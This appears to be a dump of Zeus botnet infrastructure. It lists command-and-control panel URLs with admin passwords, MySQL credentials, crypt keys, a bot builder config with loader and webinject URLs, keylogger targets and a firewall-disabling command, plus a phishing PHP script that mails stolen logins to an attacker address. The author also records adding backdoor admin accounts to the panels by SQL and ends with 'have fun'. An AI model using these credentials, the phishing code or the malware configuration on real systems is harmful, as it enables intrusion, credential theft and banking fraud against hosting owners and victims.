user : admin pass : badoo123
user : admin pass : badoo123
hxxp://www.filehost.ro/31418144/infected_rar/ pass : infected
// config.php
$config = array (
'mysql_host' => 'localhost',
'mysql_user' => 'root',
'mysql_pass' => 'qwerty23456@',
'mysql_db' => 'tenna',
'reports_path' => '_reports1190699691',
'reports_to_db' => 1,
'reports_to_fs' => 0,
'reports_geoip' => 0,
'jabber' =>
array (
'host' => '',
'login' => '',
'pass' => '',
'port' => 5222,
),
'reports_jn' => 0,
'reports_jn_logfile' => '_reports1190699691/jabber.log',
......
),
'allowed_countries_enabled' => 0,
'allowed_countries' => '',
'botnet_timeout' => 1500,
'botnet_cryptkey' => 'sgasgdsgdshwgrekhgjlksdng',
);
$config['botnet_cryptkey_bin'] = array(200, 56, 101, 2, 42, 30, 79, 114, 114, 231, 90, 185, 178, 234, 43, 113, 77, 215, 74, 251, 72, 147, 112, 209, 143, 3, 221, 34, 213, 155, 59, 1, 102, 95, 251, 64, 4, 6, 37, 10, 88, 115, 111, 203, 37, 251, 237, 91, 59, 186, 76, 153, 210, 127, 255, 187, 176, 187, 202, 17, 228, 83, 73, 72, 124, 73, 129, 105, 86, 226, 91, 206, 125, 149, 142, 159, 128, 61, 189, 143, 202, 109, 63, 124, 118, 48, 176, 36, 177, 181, 123, 0, 242, 220, 30, 100, 232, 246, 146, 150, 224, 233, 252, 198, 250, 44, 26, 146, 38, 153, 1, 249, 208, 171, 247, 133, 20, 117, 173, 227, 152, 170, 248, 62, 39, 119, 169, 200, 110, 65, 11, 164, 164, 19, 183, 7, 133, 13, 238, 205, 87, 28, 86, 60, 67, 222, 16, 128, 64, 138, 200, 81, 75, 12, 62, 240, 23, 168, 201, 190, 47, 180, 95, 214, 218, 206, 128, 162, 169, 78, 44, 174, 116, 45, 161, 245, 27, 142, 18, 86, 92, 195, 155, 78, 248, 150, 58, 54, 14, 174, 88, 211, 197, 35, 19, 142, 10, 99, 5, 33, 137, 161, 65, 175, 51, 91, 107, 201, 193, 40, 150, 218, 105, 129, 115, 168, 41, 57, 244, 108, 29, 130, 231, 141, 236, 214, 182, 177, 9, 21, 229, 57, 90, 100, 140, 106, 93, 217, 213, 158, 221, 17, 38, 98, 165, 123, 199, 76, 223, 239, 154, 110, 16, 229, 190, 4);
return $config;
config.txt / from builder
entry "StaticConfig"
botnet "CIT"
timer_config 4 9
timer_logs 3 6
timer_stats 4 8
timer_modules 1 4
timer_autoupdate 8
url_config1 "http://richyadams.zapto.org/xampp/link/config.bin"
remove_certs 1
; disable_tcpserver 0
disable_cookies 0
encryption_key "jzhbfgjdhbgjhddkjgskdj"
report_software 1
enable_luhn10_get 0
enable_luhn10_post 1
disable_antivirus 0
use_module_video 1
antiemulation_enable 0
disable_httpgrabber 0
use_module_ffcookie 1
end
entry "DynamicConfig"
url_loader "http://richyadams.zapto.org/xampp/link/soft.exe"
url_server "http://richyadams.zapto.org/xampp/link/gate.php"
file_webinjects "injects.txt"
url_webinjects "http://richyadams.zapto.org/xampp/link/file.php"
entry "AdvancedConfigs"
"http://richyadams.zapto.org/xampp/link/config.bin"
"http://richyadams.zapto.org/xampp/link/config.bin"
end
entry "WebFilters"
"#*wellsfargo.com/*"
"@*payment.com/*"
"!http://*.com/*.jpg"
end
entry HttpVipUrls
"*facebook.com/*"
end
entry "WebDataFilters"
end
entry "WebFakes"
end
entry "CmdList"
"hostname"
"tasklist"
"ipconfig /all"
"netsh firewall set opmode disable"
end
entry "Keylogger"
processes "bank.exe;java.exe"
time 3
end
entry "Video"
quality 1
length 600
end
end
// Here is the admin ip address !
41.138.188.121 - - [02/Jan/2015:21:46:00 +0100] "GET /xampp/link/cp.php?m=home HTTP/1.1" 200 224893 "http://cynthialemos1225.ddns.net/xampp/link/cp.php?m=home" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
// version 2.0.8.9
// admin user
admin : mentman1
// ftp :
deamon:xampp
// config
#?php
$config['mysql_host'] = '127.0.0.1';
$config['mysql_user'] = 'daemon';
$config['mysql_pass'] = 'jG9mBvGQM7Jhbv62';
$config['mysql_db'] = 'evildb';
$config['reports_path'] = '_feedback';
$config['reports_to_db'] = 1;
$config['reports_to_fs'] = 1;
$config['reports_no_shit'] = 1;
$config['reports_jn'] = 0;
$config['reports_jn_logfile'] = '';
$config['reports_jn_account'] = '';
$config['reports_jn_pass'] = '';
$config['reports_jn_server'] = '';
$config['reports_jn_port'] = 5222;
$config['reports_jn_to'] = '';
$config['reports_jn_list'] = '';
$config['reports_jn_script'] = '';
$config['reports_dyncfg'] = 0;
$config['reports_dyncfg_script'] = '';
$config['membership_timeout'] = 1500;
$config['membership_cryptkey'] = 'ovWPvhfFJ';
$config['membership_cryptkey_bin'] = array(111, 27, 63, 146, 46, 219, 229, 29, 132, 252, 195, 222, 120, 85, 235, 8, 237, 173, 210, 215, 196, 14, 183, 54, 105, 33, 119, 230, 86, 101, 117, 93, 3, 131, 112, 197, 36, 147, 74, 89, 212, 64, 21, 207, 15, 60, 224, 30, 1, 141, 250, 32, 94, 194, 90, 72, 77, 214, 134, 165, 0, 126, 199, 115, 255, 193, 245, 52, 118, 99, 48, 49, 187, 104, 159, 163, 244, 148, 190, 221, 26, 247, 191, 88, 103, 62, 133, 70, 108, 208, 216, 82, 114, 124, 243, 186, 71, 100, 211, 169, 246, 138, 10, 57, 16, 180, 200, 125, 202, 150, 236, 130, 129, 149, 189, 22, 168, 201, 80, 184, 67, 233, 106, 172, 84, 177, 158, 28, 151, 209, 182, 161, 154, 171, 102, 227, 248, 40, 92, 58, 152, 95, 142, 68, 156, 97, 17, 20, 254, 251, 13, 107, 223, 56, 160, 50, 228, 51, 79, 66, 9, 91, 75, 232, 239, 2, 83, 144, 45, 35, 166, 37, 181, 240, 6, 65, 185, 253, 5, 18, 25, 145, 188, 137, 192, 127, 128, 98, 19, 155, 34, 38, 178, 213, 136, 31, 198, 140, 205, 123, 206, 231, 226, 55, 238, 87, 203, 24, 109, 122, 69, 110, 157, 59, 242, 42, 81, 135, 218, 121, 170, 41, 76, 179, 12, 139, 96, 204, 241, 11, 164, 53, 249, 44, 23, 43, 78, 113, 217, 220, 234, 116, 4, 7, 73, 176, 175, 174, 225, 143, 47, 39, 167, 153, 162, 61);
?#
// extracted by Xylitol
RC4 Keystream 6f1b3f922edbe51d84fcc3de7855eb08edadd2d7c40eb736692177e65665755d038370c524934a59d44015cf0f3ce01e018dfa205ec25a484dd686a5007ec773ffc1f53476633031bb689fa3f494bedd1af7bf58673e85466cd0d852727cf3ba4764d3a9f68a0a3910b4c87dca96ec828195bd16a8c950b843e96aac54b19e1c97d1b6a19aab66e3f8285c3a985f8e449c611114fefb0d6bdf38a032e4334f42095b4be8ef0253902d23a625b5f00641b9fd05121991bc89c07f8062139b2226b2d5881fc68ccd7bcee7e237ee57cb186d7a456e9d3bf22a5187da79aa294cb30c8b60ccf10ba435f92c172b4e71d9dcea74040749b0afaee18f2f27a799a23d
hxxp://54.201.153.149/ontrack-list/controller/theboldandthebeaded.php
hxxp://54.201.153.149/ontrack-list/controller/hamilton.bin
// mysql config from bot
$config['mysql_host'] = '127.0.0.1';
$config['mysql_user'] = 'berizka_image';
$config['mysql_pass'] = 'olaoluwa!@#';
$config['mysql_db'] = 'berizka_image';
// zeus panel
hxxp://berizka.gorodok.km.ua/core/auth/image/cp.php
admin:dragob
// panel
http://65.200.132.20/webalizer/webdav/cp.php
admin:govno
// email used for phishing
kotak4amal@gmail.com
// scan4you account and jabber
'scan4you_jid' => 'uznik15@jabber.ru',
'scan4you_id' => '29719',
'scan4you_token' => 'd47310b2beea51ec546e',
// m.php
<?include 'images/validate_form.js';
$ip = getenv("REMOTE_ADDR");
$message .= "-------- XxX *~* Mr-Lordz *~* XxX-------\n";
$message .= "User-ID: ".$_POST['user']."\n";
$message .= "Password: ".$_POST['passwd']."\n";
$message .= "IP: ".$ip."\n";
$message .= "-------------Created By Mr-lordz--------------\n";
$recipient = "kotak4amal@gmail.com";
$subject = "ComCastID ~ $ip";
$headers = "From: ";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
mail($recipient,$subject,$message,$headers);
if (mail($recipent,$subject,$message,$headers))
{
header("Location: billing.htm");
}
else
{
echo "ERROR! Please go back and try again.";
}
?> 
// admin ip
hxxp://www.utrace.de/?query=41.79.219.204
// zeus panel
admin:thankgod123
hxxp://sip1distribution.com/.zerd/cp.php
// mysql
$config['mysql_host'] = '127.0.0.1';
$config['mysql_user'] = 'sip1dist_admin';
$config['mysql_pass'] = 'thankgod123';
$config['mysql_db'] = 'sip1dist_admin';
// http://urlquery.net/report.php?id=1415211438936 // zeus panel hxxp://kihsmalta.com/cp.php // .htacces file deny from quttera.com deny from hosts-file.net deny from amada.abuse.ch deny from palevotracker.abuse.ch deny from blogger.com deny from phishtank.com deny from netcraft.com deny from google.com deny from yahoo.com deny from malwared.ru deny from malware.com.br deny from malekal.com deny from k7computing.com deny from gdata.com deny from gdatasoftware.com deny from fortinet.com deny from emsisoft.com deny from quttera.com deny from opera.com deny from infospyware.com deny from .................... etcallow from all allow from all # Block shell uploaders, htshells, and other baddies RewriteCond %{REQUEST_URI} ((php|my|bypass)?shell|remview.*|phpremoteview.*|sshphp.*|pcom|nstview.*|c99|c100|r57|webadmin.*|phpget.*|phpwriter.*|fileditor.*|locus7.*|storm7.*)\.(p?s?x?htm?l?|txt|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml) [NC,OR] RewriteCond %{REQUEST_URI} (\.exe|\.php\?act=|\.tar|_vti|afilter=|algeria\.php|chbd|chmod|cmd|command|db_query|download_file|echo|edit_file|eval|evil_root|exploit|find_text|fopen|fsbuff|fwrite|friends_links\.|ftp|gofile|grab|grep|htshell|\ -dump|logname|lynx|mail_file|md5|mkdir|mkfile|mkmode|MSOffice|muieblackcat|mysql|owssvr\.dll|passthru|popen|proc_open|processes|pwd|rmdir|root|safe0ver|search_text|selfremove|setup\.php|shell|ShellAdresi\.TXT|spicon|sql|ssh|system|telnet|trojan|typo3|uname|unzip|w00tw00t|whoami|xampp) [NC,OR] RewriteCond %{QUERY_STRING} (\.exe|\.tar|act=|afilter=|alter|benchmark|chbd|chmod|cmd|command|cast|char|concat|convert|create|db_query|declare|delete|download_file|drop|edit_file|encode|environ|eval|exec|exploit|find_text|fsbuff|ftp|friends_links\.|globals|gofile|grab|insert|localhost|logname|loopback|mail_file|md5|meta|mkdir|mkfile|mkmode|mosconfig|muieblackcat|mysql|order|passthru|popen|proc_open|processes|pwd|request|rmdir|root|scanner|script|search_text|select|selfremove|set|shell|sql|sp_executesql|spicon|ssh|system|telnet|trojan|truncate|uname|union|unzip|whoami) [NC] RewriteRule .* - [F] /// extracted from xylitolMalware family ZEUS MD5 8f6b9dbfb715c4a8166401e6fc511964 Version 2.1.0.1 RC4 Keystream 21db88b013ff66617997a990f083df91ac7327b64287569a376a5a63ee4abf234da43d2e758644c919788bc09200957d7b04084fa6dc1503e753f50257f10b121caea254c5be6d55fbaa07d21b777e2a67100ff27c6072d343ca9dbc80eb2f2ccd5293711ae6d9c365b5f8f3ddd83550189c3a418a8c9406b96bce25cb38d4d0695f8999e8d7fa0c013c2833e5a5cfcc5e14c61e816ca04bb2c1bac776170adaf451322d40e9e2ef3ea3bb11456fe1d5294e0eea1dfc85b38df9d659393174263447b4ec5b84f70d58deb85ca798c848c28e05f67ae39bed9f647062e47f682b209609c4fe6eb11f4caf8f22d1a182a8abb73f3b1624fd36465dbdad309ee049
// mysql
$config['mysql_host'] = '127.0.0.1';
$config['mysql_user'] = 'motoecar_1';
$config['mysql_pass'] = 'J31OIPuOLSf$';
$config['mysql_db'] = 'motoecar_1';
// zeus panel
hxxp://motoecarro.com.br/images/cp.php
user : admin
pass : 123456
// config.bin
hxxp://motoecarro.com.br/images/config.bin
$config['mysql_host'] = '127.0.0.1';
$config['mysql_user'] = 'materno_labe';
$config['mysql_pass'] = '1qaz2wsx';
$config['mysql_db'] = 'materno_labe';
// hxxp://menumaterno.com.br/skins/tango/thumb.php [shell]
// zeus panel
hxxp://menumaterno.com.br/skins/tango/_labe/cp.php?m=home
user : admin
pass : 1qaz2wsx
[cpan]
password=provnet13
user=materno
hxxp://e-rbi.org/03/serverphp/cp.php
//report
hxxps://zeustracker.abuse.ch/monitor.php?host=www.oei.org.ar
// interesting script "cn.pl" found at
/home/oeiorgar/cn.pl
// http://pastebin.com/y5CYspZG
$config['mysql_host'] = '127.0.0.1';
$config['mysql_user'] = 'optometr_server';
$config['mysql_pass'] = '123qwe';
$config['mysql_db'] = 'optometr_server';
// hxxp://optometriaortopticamendezronderos.com/css/upload/login/cp.php?m=login
user : admin
pass(md5) : 786b754d2b4902cb348bb59d7cff0004
pass : alexgrema
// second zbot panel (index)
// hxxp://optometriaortopticamendezronderos.com/css/index/cp.php?m=login
$config['mysql_host'] = '127.0.0.1';
$config['mysql_user'] = 'optometr_ff';
$config['mysql_pass'] = '123qwe';
$config['mysql_db'] = 'optometr_ff';
user : admin
pass(md5) : fc7d1bcf2447219eb208b96aa3d0a58c
pass : salamsalam
// zip file found on server
hxxps://www.sendspace.com/file/s3k9i8
// zeus panel
hxxp://www.peterpanaupairs.co.uk/duff/duff/30/cp.php
user : admin
pass : admin88
// bot sample
hxxps://www.sendspace.com/file/t29i3e
hxxp://dairyforsale.com.au/images/roy/cp.php
// config
$config['mysql_host'] = '127.0.0.1';
$config['mysql_user'] = 'dairy_roy';
$config['mysql_pass'] = 'thankgod123';
$config['mysql_db'] = 'dairy_roy';
// zeus panel
user : admin
pass : 12345678
// shell
hxxp://dairyforsale.com.au/cache/m.php
// cpanel
user = 'dairy';
pass = 'vatbuster';
//shell
hxxp://www.ghandigameh.org/wkv3.php
passwd : its-ownz
// mysql
$config['mysql_host'] = 'localhost';
$config['mysql_user'] = 'ghandiga_timbod';
$config['mysql_pass'] = 'cecelle222';
$config['mysql_db'] = 'ghandiga_timbod';
// zeus panel
hxxp://www.ghandigameh.org/timbod/cp.php
user : its-ownz
pass : 123456
// mysql
$config['mysql_host'] = 'localhost';
$config['mysql_user'] = 'ghandiga_okpokoa';
$config['mysql_pass'] = 'cecelle222';
$config['mysql_db'] = 'ghandiga_okpokoa';
// zeus panel
hxxp://www.ghandigameh.org/okpokoa/cp.php
user : its-ownz
pass : 123456
// mysql
$config['mysql_host'] = 'localhost';
$config['mysql_user'] = 'ghandiga_mumbas';
$config['mysql_pass'] = 'cecelle222';
$config['mysql_db'] = 'ghandiga_mumbas';
// zeus panel
hxxp://www.ghandigameh.org/mumbas/cp.php
user : its-ownz
pass : 123456
// login was
admin ip = 41.220.69.209
admin 6a74c2362a925e5dc22f82a285d44aa5 (md5 hash)
// added via mysql thu ..
INSERT INTO `cp_users` ( `id`, `name`, `pass`, `language`, `flag_enabled`, `comment`, `ss_format`, `ss_quality`, `r_edit_bots`, `r_stats_main`, `r_stats_main_reset`, `r_stats_os`, `r_botnet_bots`, `r_botnet_scripts`, `r_botnet_scripts_edit`, `r_reports_db`, `r_reports_db_edit`, `r_reports_files`, `r_reports_files_edit`, `r_reports_jn`, `r_system_info`, `r_system_options`, `r_system_user`, `r_system_users` ) VALUES ( '2', 'its-ownz', 'e10adc3949ba59abbe56e057f20f883e', 'en', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1' );
// zeus panel
http://vinltd.com/suz/cp.php
user : admin
pass : profyle187
// mysql
$config['mysql_host'] = '127.0.0.1';
$config['mysql_user'] = 'vinltdco_suz';
$config['mysql_pass'] = 'profyle187';
$config['mysql_db'] = 'vinltdco_suz';
// shell
hxxp://vinltd.com/info.php
// note account suspended !
// zeus panel 1
user : admin
pass : london
login : hxxp://ns2.ezhost.in/ca/serverphp/cp.php
// zeus panel 2
user : admin
pass : london
hxxp://ns2.ezhost.in/images/us/serverphp/cp.php
// zeus panel 3
user : admin
pass : london
hxxp://ns2.ezhost.in/images/online/serverphp/cp.php
// php panel
hxxp://ns2.ezhost.in/ca.zip
hxxp://ns2.ezhost.in/images.zip
NOTE : added a second admin user to all panels
user : its-ownz
pass : 123456
// Panel
hxxp://newbetrrsearve.co.uk/usa/serverphp/cp.php
// login
user : admin
pass : london
// have fun